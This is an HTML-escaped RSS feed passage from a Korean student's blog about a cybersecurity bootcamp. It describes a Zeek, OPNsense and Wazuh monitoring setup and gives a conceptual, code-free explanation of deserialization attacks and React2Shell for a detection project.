&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;저장소 등록: 최신 보안 패키지를 위해 오픈수세(OpenSUSE) 리포지토리를 활용했습니다.&lt;/li&gt;
&lt;li&gt;node.cfg 최적화: Zeek가 어떤 입(Interface)으로 트래픽을 먹을지 결정하는 단계로 interface=ens38만 지정해주면 됩니다.&lt;/li&gt;
&lt;li&gt;하드웨어 자원 할당: 로그 데이터가 쌓이는 것에 대비해 별도의 디스크(/data)를 마운트하고, 정확한 타임스탬프 기록을 위해 Chrony로 시간 동기화를 마쳤습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/A8d6g/dJMcahC5WU4/I6g9DUEuN1g9aqIvHqi4o1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/A8d6g/dJMcahC5WU4/I6g9DUEuN1g9aqIvHqi4o1/img.png&quot; data-origin-width=&quot;732&quot; data-origin-height=&quot;503&quot; data-is-animation=&quot;false&quot; style=&quot;width: 17.2497%; margin-right: 10px;&quot; data-widthpercent=&quot;17.45&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/A8d6g/dJMcahC5WU4/I6g9DUEuN1g9aqIvHqi4o1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FA8d6g%2FdJMcahC5WU4%2FI6g9DUEuN1g9aqIvHqi4o1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;732&quot; height=&quot;503&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vqhDi/dJMcaa422Nc/PkGXCPufDl4dJMWAmf6jzk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vqhDi/dJMcaa422Nc/PkGXCPufDl4dJMWAmf6jzk/img.png&quot; data-origin-width=&quot;530&quot; data-origin-height=&quot;77&quot; data-is-animation=&quot;false&quot; style=&quot;width: 81.5875%;&quot; data-widthpercent=&quot;82.55&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vqhDi/dJMcaa422Nc/PkGXCPufDl4dJMWAmf6jzk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvqhDi%2FdJMcaa422Nc%2FPkGXCPufDl4dJMWAmf6jzk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;530&quot; height=&quot;77&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;zeek 잘 깔린것도 확인 가능하고 제가 zeek에서 확인해야할 로그가 다 저 파일 안에 있는 것 확인 가능합니다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. OPNsense와 연결&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;VMnet1 브릿지: OPNsense의 특정 인터페이스와 Zeek의 감시용 인터페이스를 동일한 가상 네트워크(VMnet1)에 묶어줍니다.&lt;/li&gt;
&lt;li&gt;트래픽 검증: tcpdump -i ens38 -n 명령어를 통해 실제로 외부 트래픽이 Zeek 센서로 흘러 들어오는지 실시간으로 확인했습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IegUX/dJMcahwkPPR/2kxerHVNZJnfxV4U97K0r1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IegUX/dJMcahwkPPR/2kxerHVNZJnfxV4U97K0r1/img.png&quot; data-origin-width=&quot;1112&quot; data-origin-height=&quot;899&quot; data-is-animation=&quot;false&quot; style=&quot;width: 51.2707%; margin-right: 10px;&quot; data-widthpercent=&quot;51.87&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IegUX/dJMcahwkPPR/2kxerHVNZJnfxV4U97K0r1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIegUX%2FdJMcahwkPPR%2F2kxerHVNZJnfxV4U97K0r1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1112&quot; height=&quot;899&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bMFHyW/dJMcahQDZQw/E44TK5uF6g9T7lyvjRGTd1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bMFHyW/dJMcahQDZQw/E44TK5uF6g9T7lyvjRGTd1/img.png&quot; data-origin-width=&quot;731&quot; data-origin-height=&quot;637&quot; data-is-animation=&quot;false&quot; style=&quot;width: 47.5666%;&quot; data-widthpercent=&quot;48.13&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bMFHyW/dJMcahQDZQw/E44TK5uF6g9T7lyvjRGTd1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbMFHyW%2FdJMcahQDZQw%2FE44TK5uF6g9T7lyvjRGTd1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;731&quot; height=&quot;637&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;OPNsense와 미러링 부분 연결해주면 zeek에서 로그가 잘 들어오는 것을 확인가능합니다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4. 통합 관제 역할 Wazuh 연결&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;20&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Wazuh Agent 설치: 매니저 IP(10.0.30.100)를 지정하여 에이전트를 설치했습니다.&lt;/li&gt;
&lt;li&gt;로그 포워딩: Zeek의 로그가 저장되는 경로(/opt/zeek/logs/current/*.log)를 Wazuh의 ossec.conf에 등록하여 실시간으로 보안 이벤트가 전송되도록 설정했습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;마치며&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아 힘드네요. 힘들어요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실 또 그렇게 막 힘들진 않아요.ㅎㅎ 생각보다 일어나자마자 아무생각 없이 출발해서 시작하면 금방 밥 먹을 시간 되고 또 오후도 그음방 지나갑니다..ㅎㅎ&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번주는....일단 뭐 조금이라도 뭘 한 것 같기도 하고 .. 또 크리스마스 주간이라서 많이 못한 것 같기도 하고...참...모르게써용 하핫&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;음음 일단 할 것도 많고 뭐 잘 모르겠어서 회고도 잘 못 쓰겠어요..좀 일단..쉴게욤ㅠ&lt;/p&gt;</description>
      <category>멀티캠퍼스IT부트캠프</category>
      <category>부트캠프후기</category>
      <category>토스뱅크사이버보안엔지니어부트캠프</category>
      <author>yejiamoe</author>
      <guid isPermaLink="true">https://yejiamoe.tistory.com/30</guid>
      <comments>https://yejiamoe.tistory.com/30#entry30comment</comments>
      <pubDate>Tue, 6 Jan 2026 23:57:12 +0900</pubDate>
    </item>
    <item>
      <title>[토스뱅크 부트캠프] 팀프로젝트 Interrupt 1주차</title>
      <link>https://yejiamoe.tistory.com/29</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1822&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b1xlTd/dJMcaaYhinl/fteTXBj7XOlj3CjtwqODQk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b1xlTd/dJMcaaYhinl/fteTXBj7XOlj3CjtwqODQk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b1xlTd/dJMcaaYhinl/fteTXBj7XOlj3CjtwqODQk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb1xlTd%2FdJMcaaYhinl%2FfteTXBj7XOlj3CjtwqODQk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;450&quot; height=&quot;1024&quot; data-origin-width=&quot;1822&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Light';&quot;&gt;목차&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Light';&quot;&gt;- 주제 소개&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Light';&quot;&gt;- 역직렬화란?&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Light';&quot;&gt;- React2Shell 이란?&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Light';&quot;&gt;- React2Shell 공격 구현&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Light';&quot;&gt;- React2Shell의 상관분석&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Light';&quot;&gt;- 마치며&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안녕하세요&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오랜만에 마음먹고 다시 쓰는 TIL (TIL 14주차)이네요. 우선 저희 프로젝트에 대해서 먼저 소개를 하고 현재 어떻게 진행되고 있는지 상세히 설명해보려고 합니다. 사이버보안에 관심 있는 분들, 그리고 혹시라도 내년에 토스뱅크 부트캠프를 하시는 분들께 도움이 되었으면 좋겠습니다..☆&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 저는 Interrupt 조가 되어서 현재 총 4명의 다른 팀원분들과 열심히 프로젝트를 시작하였습니다. (보통 4~6명으로 팀은 구성되었고 총 4개의 주제 중에서 각자 원하고 공부해보고 싶은 주제를 선택해서 가는 방향으로 진행하였습니다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;주제 소개&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 저 4가지 주제가 무엇이냐...!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 모의해킹을 통한 웹사이트 및 모바일앱 보안 취약점 분석 및 대응&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 오픈 소스 웹서비스 취약점 분석 및 보안 대응&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 네트워크 포렌식 환경 구축 및 분석&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. MITRE ATT&amp;amp;CK 기반 침해사고 분석 및 대응&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 보면 뭔가 멋져보이기도 하고...뭔소리인지 모를 수도 있는데 사실 저도 잘 모릅니다! ㅎㅎ 보안 분야가 아니신 분들까지도 한번쯤은 들어봤을거라고 생각하는데요 토스뱅크는 보안 직무에서 레드팀/블루팀으로 나뉘어져 있습니다. (요즘 보안사고가 많긴 한데 많은 기업들이 아직 레드팀은 잘 구성되지 않은 걸로 알고 있습니다.) 그래서 1,2 번이 레드팀(공격팀) 그리고 3,4번이 블루팀(방어팀)이라고 이해하시면 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저는 사실 주제 선정부터 좀 고민을 많이 해봤는데요.. 뭔가 다른 프로젝트를 진행하면서 전문적인 멘토님들께 조언을 받기 어려운 레드팀을 하고 싶은 생각도 있었지만 너무 모르는 분야이기도 하고 앞으로 다른 프로젝트 또는 연구로 이어나갈 것을 생각했을 때&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;4. MITRE ATT&amp;amp;CK 기반 침해사고 분석 및 대응 &lt;/b&gt;&lt;/u&gt;를 하기로 선택하였습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(사실 저희는 4번 선택한 사람이 많아서 4-1조, 4-2조로 나뉘어서 조금 다른 방향으로(?) 프로젝트를 진행하게 되었습니다.)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/l9Eoi/dJMb99ZmSJM/ov8aI0mBFj4j3FTCI2RQM0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/l9Eoi/dJMb99ZmSJM/ov8aI0mBFj4j3FTCI2RQM0/img.jpg&quot; data-alt=&quot;이게 뭔가 싶으실수도 있는데 그냥 잘 정리된 표(?) 느낌이예요&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/l9Eoi/dJMb99ZmSJM/ov8aI0mBFj4j3FTCI2RQM0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fl9Eoi%2FdJMb99ZmSJM%2Fov8aI0mBFj4j3FTCI2RQM0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;450&quot; height=&quot;253&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;이게 뭔가 싶으실수도 있는데 그냥 잘 정리된 표(?) 느낌이예요&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실 공식적인 프로젝트 기간은 12월 15일 부터였는데요, 저희는 그 전부터 꽤나 많은 이야기를 나누면서 프로젝트의 방향성에 대해서 멘토님들, 강사님, 그리고 팀원들과 의논해보았습니다. (사실 엎어진 것도 많아요..ㅜ)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 지금 프로젝트를 시작한지 일주일이 지난 지금, 조금의 방향성이 뚜렷해진 것 같아서 정리해볼 수 있을 것 같습니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 저희조 목표를 한줄로..? 정리하자면..&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;역직렬화 CVE를 활용한 공격을 상관분석을 통해 행위기반 탐지 모델을 구현을 통한 역직렬화 공격의 공통점(?)&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음 들으면 어려울 수 있는데 전혀 아닙니다. (전혀는 아니고.. 생각보다..정도..?)&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;역직렬화란?&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2480&quot; data-origin-height=&quot;1396&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ciD6Fv/dJMcad1HSKC/klNbPXHljvLRXEQZy4ieN1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ciD6Fv/dJMcad1HSKC/klNbPXHljvLRXEQZy4ieN1/img.png&quot; data-alt=&quot;React2shell관련 뉴스&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ciD6Fv/dJMcad1HSKC/klNbPXHljvLRXEQZy4ieN1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FciD6Fv%2FdJMcad1HSKC%2FklNbPXHljvLRXEQZy4ieN1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;450&quot; height=&quot;253&quot; data-origin-width=&quot;2480&quot; data-origin-height=&quot;1396&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;React2shell관련 뉴스&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;직렬화-역직렬화라는 단어를 들어봤다면 아마 최근 핫한 보안 이슈인 React2Shell에서 들어보셨을 것입니다. 내 컴퓨터에서 다른 서버나 클라이언트로 데이터를 보내기 위해서는 직렬화 과정이 필요합니다. 현재의 객체를 저장하거나 전송하기 위해서는 데이터 포멧으로 변환해서 전송해야하기 때문입니다. (우리가 생각하는 데이터는 사실 메모리에 존재하는데 이 메모리에 존재하면 컴퓨터를 끄거나 전송할 때 사라지거나 전송자체가 막힙니다!)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 컴퓨터 두 대가 데이터를 주고 받을 때 처음에 데이터를 주면서 데이터를 직렬화 해서 주고, 받는 컴퓨터는 이를 역직렬화해서 다시 메모리에 올릴 수 있는 형태로 만들어 줍니다. 약간 암복호화 같죠..?&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;709&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bw0LUw/dJMcac2OLsE/4h2McrAsGoWEUdQ1glvHy0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bw0LUw/dJMcac2OLsE/4h2McrAsGoWEUdQ1glvHy0/img.png&quot; data-alt=&quot;직렬화와 역직렬화&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bw0LUw/dJMcac2OLsE/4h2McrAsGoWEUdQ1glvHy0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbw0LUw%2FdJMcac2OLsE%2F4h2McrAsGoWEUdQ1glvHy0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;450&quot; height=&quot;249&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;709&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;직렬화와 역직렬화&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그렇다면 이 역직렬화에서 취약점이 발생하는 이유는 뭘까요? 일단 제가 공부했을때는^^ 해커들은 이 역직렬화은 자동으로 실행된다는 것과 이때 자동으로 싱행되는 코드를 공격자가 원하는대로 조정할 수 있다는 점을 이용하기 때문입니다. 조금 이론적인 설명이 될 것 같은데 딱 두가지 단어(?)를 알면 좋을 것 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫번째는&amp;nbsp; Magic Method 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 프로그래밍 언어는 객체를 역직렬화할 때 개발자가 별도로 호출하지 않아도 알아서 실행되는 특수한 함수들을 가지고 있습니다. 쉽게 말하면 뭐 역직렬화를 해야 이 컴퓨터에서 다른컴퓨터로부터 받은 데이터를 일단 메모리에 올려서 뭔지 보고 하니까 자동적으로 실행되는 함수가 몇개 있습니다. 해커는 여기에 악성코드를 심어버립니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두번째는 Gadget Chain입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 이것도 뭐 어려운 개념은 아닌데 아까 말한 Magic Method는 약간 해커가 접근하는 입구의 개념입니다. 그렇다면 해커는 결정적으로는 이 victim 컴퓨터에서 뭔가를 실행시키고 싶은 거잖아요?(뭐 파일을 출력해서 나한테 전송한다던지, 특정 웹을 연다든지) 그럼 결국 victim 컴퓨터에서 약간 위험한 함수를 실행시키고 싶은거라고 이해할 수 있습니다. (명령실행함수와 같은 함수들을 최종목표로 잡고 노리는 거죠) 근데 해커가 Magic Method라는 입구로부터 출발해서 가장 위험한 함수(이걸 Gadget이라고 합니다.)로 접근하기까지 또 여러 함수들이 이어져 있을 겁니다. 그게 마치 chain 형태로요. 그래서 해커가 Gadget으로 가는 체인처럼 이어진 길을 Gadget chain이라고 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;역직렬화의 자동 실행 함수가 Magic Method가 되고 Gadget Chain을 통해서 공격이 이루어진거라고 이해하면 될 것 같습니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러면 저희는 수많은 CVE 중에서 왜 역직렬화 공격으로 선정을 한것일까요?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제일 핫이슈였다는 점도 있고 커널에서 볼 수 없는 점도 있고 가장 결정적인 이유는 앞으로 역직렬화 공격은 더욱 더 많아질 것 같기 때문이였습니다. (사실 보고서에는 뭐 금융권 표적 ~ 트렌드 ~ 탐지고도화 ~ 이런식으로 작성하긴 했지만..ㅎㅎ같은 말이죠 뭐)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;React2Shell이란?&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아직 프로젝트 초기 단계긴 하지만 일단 구축/테스트 과정에서 저는 node.js 언어의 React2Shell을 담당하고 있습니다. 위에서 설명했던 역직렬화 공격 중 하나입니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;417&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ciNF2y/dJMcahwj0SE/JfEBBp1OXnqHLQ3jZ0MAA1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ciNF2y/dJMcahwj0SE/JfEBBp1OXnqHLQ3jZ0MAA1/img.png&quot; data-alt=&quot;React2shell 공격 과정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ciNF2y/dJMcahwj0SE/JfEBBp1OXnqHLQ3jZ0MAA1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FciNF2y%2FdJMcahwj0SE%2FJfEBBp1OXnqHLQ3jZ0MAA1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;417&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;417&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;React2shell 공격 과정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 이 부분에 대해서는 저희조는 '언어'별로 파트를 나누어서 진행하였습니다. java, php, node.js 중에 저는 node.js를 맡게 되어서 React2Shell을 하게 되었습니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아아 그래서 React2Shell은 무엇이냐..하면 웹 라이브러리인 React를 이용해 서버의 권한을(sh) 탈취하는 보안 취약점 입니다. 2021년도의 log4shell만큼 위험하다면서 막 CVSS 점수도 10.0점 만점을 기록한 아주 무시무시한 친구입니다. React2Shell의 원리는 간단히 정리하겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 데이터 전송: 리액트 서버는 클라이언트와 통신할 때 'Flight'라는 특수한 프로토콜을 사용해 데이터를 직렬화해서 보냅니다.&lt;br /&gt;2. 검증 누락: 공격자가 특수하게 조작된 악성 데이터(Payload)를 서버에 보냅니다.&lt;br /&gt;3. 코드 실행: 서버가 이 데이터를 다시 객체로 만드는 역직렬화(Deserialization) 과정에서, 데이터가 실제 실행 가능한 코드로 해석되어 버립니다.&lt;br /&gt;4. 결과: 공격자는 로그인 권한 없이도 서버에서 임의의 명령어를 실행(RCE)하고, 최종적으로 서버의 쉘(sh)을 획득하게 됩니다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원리는 위와 같은 원리로 진행됩니다. 저도 처음 들어보는 개념이 중간에 있었는데요.. 바로 클라이언트 사이드 렌더링이랑 서버 사이드 렌더링 (SSR) 이라는게 있습니다. React2Shell은 SSR 방식으로 진행이 됩니다. 한번에 이해하기는 조금 어려운데 HTML과 데이터를 미리 만들어서 클라이언트에게 보내준다고 생각하면 됩니다. 이 때 보통 JSON 방식으로 주는데 이 JSON파일에 악성코드를 심는 것 입니다. (이때는 보통 _next_data_부분이나 API 요청 데이터 같은 것을 조작합니다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
